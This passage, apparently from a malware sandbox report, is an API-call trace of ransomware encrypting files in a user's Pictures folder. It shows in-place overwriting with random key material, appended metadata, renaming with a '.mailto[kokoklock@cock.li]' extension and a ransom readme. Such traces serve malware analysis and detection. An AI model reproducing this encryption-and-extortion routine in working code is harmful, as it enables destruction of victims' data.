lpBuffer=0x34be3c0*, lpNumberOfBytesWritten=0xf33fe88*=0x8, lpOverlapped=0x0) returned 1 [0065.345] WriteFile (in: hFile=0x7c8, lpBuffer=0xf33fea0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf33fe88, lpOverlapped=0x0 | out: lpBuffer=0xf33fea0*, lpNumberOfBytesWritten=0xf33fe88*=0x4, lpOverlapped=0x0) returned 1 [0065.345] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf33fe88, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf33fe88*=0x4, lpOverlapped=0x0) returned 1 [0065.345] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf33fe88, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf33fe88*=0x6c, lpOverlapped=0x0) returned 1 [0065.345] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf33fe88, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xf33fe88*=0x20, lpOverlapped=0x0) returned 1 [0065.345] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf33fe88, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf33fe88*=0x4, lpOverlapped=0x0) returned 1 [0065.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be488) returned 1 [0065.345] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be3c0) returned 1 [0065.345] CloseHandle (hObject=0x7c8) returned 1 [0065.346] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33ce718 [0065.346] wcscpy (in: _Dest=0x33ce718, _Source="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif") returned="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif" [0065.346] wcscat (in: _Dest=0x33ce718, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731" [0065.346] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\5lffhhc1phkhshohy_r-.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\5lffhhc1phkhshohy_r-.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.347] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce718) returned 1 [0065.347] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\5lFfhHC1PhkhSHOHY_r-.gif", dwFileAttributes=0x20) returned 0 [0065.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482038 [0065.347] wcscpy (in: _Dest=0x3482038, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.347] wcscat (in: _Dest=0x3482038, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.347] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0065.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347df50) returned 1 [0065.347] RtlExitUserThread (Status=0x1) Thread: id = 331 os_tid = 0x13a4 [0065.348] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\9b1gcmf d0wxqdonee4.gif")) returned 0x20 [0065.349] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif", dwFileAttributes=0x20) returned 1 [0065.349] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\9b1gcmf d0wxqdonee4.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.349] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xf3bfba0 | out: lpFileSize=0xf3bfba0*=56041) returned 1 [0065.349] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0xdae5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.349] ReadFile (in: hFile=0x7c8, lpBuffer=0xf3bfb74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf3bfb70, lpOverlapped=0x0 | out: lpBuffer=0xf3bfb74*, lpNumberOfBytesRead=0xf3bfb70*=0x4, lpOverlapped=0x0) returned 1 [0065.349] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.349] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.349] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.349] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be398 [0065.349] NtQuerySystemTime (in: CurrentTime=0xf3bfb4c | out: CurrentTime=0xf3bfb4c*=132121176232371873) returned 0x0 [0065.349] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x61ebc8dc [0065.349] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x4df29732 [0065.349] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0xec085cc0 [0065.349] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x3bf72150 [0065.349] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0xc0f99d57 [0065.349] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0xeac893a5 [0065.349] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x612b6623 [0065.349] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x80bd4749 [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x5420a462 [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x24b74b7b [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0xb5b03f2 [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x854227fc [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0xa8e5f099 [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x10a79a3c [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0xd946e09 [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x14e4ac58 [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0xb95b9754 [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x596dcee5 [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x315a7c7f [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x9d7341a4 [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0xc103a78d [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x333fe8c6 [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0xa1789a9e [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x80aaf912 [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0xe964495a [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x1d25d363 [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x8edb4b6c [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x6c2e68cf [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x64f8ae84 [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0xbf9fbd48 [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0x24c949f [0065.350] RtlRandom (in: Seed=0xf3bfb58 | out: Seed=0xf3bfb58) returned 0xd24b44f [0065.361] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.361] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xf3bfb24, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf3bfb24*=0x4096, lpOverlapped=0x0) returned 1 [0065.361] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.361] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.362] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.362] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be500 [0065.362] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be500) returned 1 [0065.362] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.362] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be3e8 [0065.362] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.362] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.362] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.362] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.362] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xf3bfb24, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf3bfb24*=0x4096, lpOverlapped=0x0) returned 1 [0065.362] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.363] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0xdae9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.363] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be3e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf3bfb5c, lpOverlapped=0x0 | out: lpBuffer=0x34be3e8*, lpNumberOfBytesWritten=0xf3bfb5c*=0x20, lpOverlapped=0x0) returned 1 [0065.363] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be3e8) returned 1 [0065.363] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.363] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be3c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf3bfb70, lpOverlapped=0x0 | out: lpBuffer=0x34be3c0*, lpNumberOfBytesWritten=0xf3bfb70*=0x8, lpOverlapped=0x0) returned 1 [0065.363] WriteFile (in: hFile=0x7c8, lpBuffer=0xf3bfb88*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf3bfb70, lpOverlapped=0x0 | out: lpBuffer=0xf3bfb88*, lpNumberOfBytesWritten=0xf3bfb70*=0x4, lpOverlapped=0x0) returned 1 [0065.363] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf3bfb70, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf3bfb70*=0x4, lpOverlapped=0x0) returned 1 [0065.363] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf3bfb70, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf3bfb70*=0x6c, lpOverlapped=0x0) returned 1 [0065.363] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf3bfb70, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xf3bfb70*=0x20, lpOverlapped=0x0) returned 1 [0065.363] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf3bfb70, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf3bfb70*=0x4, lpOverlapped=0x0) returned 1 [0065.363] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.363] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be488) returned 1 [0065.363] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be3c0) returned 1 [0065.363] CloseHandle (hObject=0x7c8) returned 1 [0065.365] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33ce718 [0065.365] wcscpy (in: _Dest=0x33ce718, _Source="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif") returned="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif" [0065.365] wcscat (in: _Dest=0x33ce718, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731" [0065.365] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\9b1gcmf d0wxqdonee4.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\9b1gcmf d0wxqdonee4.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.366] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.366] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce718) returned 1 [0065.366] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\9b1gCmF D0WXqDONeE4.gif", dwFileAttributes=0x20) returned 0 [0065.366] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482038 [0065.366] wcscpy (in: _Dest=0x3482038, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.366] wcscat (in: _Dest=0x3482038, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.366] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0065.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d9a0) returned 1 [0065.367] RtlExitUserThread (Status=0x1) Thread: id = 332 os_tid = 0x13a8 [0065.368] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png" (normalized: "c:\\users\\fd1hvy\\pictures\\bqoj4hgouy4 xwp9dd.png")) returned 0x20 [0065.368] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png", dwFileAttributes=0x20) returned 1 [0065.368] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png" (normalized: "c:\\users\\fd1hvy\\pictures\\bqoj4hgouy4 xwp9dd.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.368] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xf43fcfc | out: lpFileSize=0xf43fcfc*=61849) returned 1 [0065.368] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0xf195, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.368] ReadFile (in: hFile=0x7c8, lpBuffer=0xf43fcd0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf43fccc, lpOverlapped=0x0 | out: lpBuffer=0xf43fcd0*, lpNumberOfBytesRead=0xf43fccc*=0x4, lpOverlapped=0x0) returned 1 [0065.368] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.368] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.368] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.368] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be3c0 [0065.369] NtQuerySystemTime (in: CurrentTime=0xf43fca8 | out: CurrentTime=0xf43fca8*=132121176232684454) returned 0x0 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0xf8b86c20 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0x88a885f2 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0xe975c3dd [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0xfeaf1ce7 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0x48686fc8 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0x2df98644 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0x3681b8cc [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0x52231b87 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0x709c1f47 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0xd1223e6f [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0x29016165 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0xab7764a8 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0x1d14c0ee [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0xa76802ba [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0xf39e0864 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0x1ed2a692 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0xbb528ae8 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0xfa8fe993 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0xcbf5fb33 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0x8a3b3adf [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0x47d41f63 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0xe3ce1a47 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0xbde2ba87 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0xb48c33c7 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0x9b3c3993 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0xfc0bfa4c [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0x7ce96ade [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0x657b21d4 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0x277fe3a0 [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0xbc6f210c [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0x4a028ddb [0065.369] RtlRandom (in: Seed=0xf43fcb4 | out: Seed=0xf43fcb4) returned 0x468ed827 [0065.380] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.380] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xf43fc80, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf43fc80*=0x4096, lpOverlapped=0x0) returned 1 [0065.380] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be500 [0065.380] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be500) returned 1 [0065.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be438 [0065.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.381] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xf43fc80, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf43fc80*=0x4096, lpOverlapped=0x0) returned 1 [0065.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.381] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0xf199, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.381] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be438*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf43fcb8, lpOverlapped=0x0 | out: lpBuffer=0x34be438*, lpNumberOfBytesWritten=0xf43fcb8*=0x20, lpOverlapped=0x0) returned 1 [0065.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be438) returned 1 [0065.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.382] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be3e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf43fccc, lpOverlapped=0x0 | out: lpBuffer=0x34be3e8*, lpNumberOfBytesWritten=0xf43fccc*=0x8, lpOverlapped=0x0) returned 1 [0065.382] WriteFile (in: hFile=0x7c8, lpBuffer=0xf43fce4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf43fccc, lpOverlapped=0x0 | out: lpBuffer=0xf43fce4*, lpNumberOfBytesWritten=0xf43fccc*=0x4, lpOverlapped=0x0) returned 1 [0065.382] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf43fccc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf43fccc*=0x4, lpOverlapped=0x0) returned 1 [0065.382] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf43fccc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf43fccc*=0x6c, lpOverlapped=0x0) returned 1 [0065.382] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf43fccc, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xf43fccc*=0x20, lpOverlapped=0x0) returned 1 [0065.382] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf43fccc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf43fccc*=0x4, lpOverlapped=0x0) returned 1 [0065.382] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.382] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be488) returned 1 [0065.382] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be3e8) returned 1 [0065.382] CloseHandle (hObject=0x7c8) returned 1 [0065.384] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33ce718 [0065.384] wcscpy (in: _Dest=0x33ce718, _Source="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png") 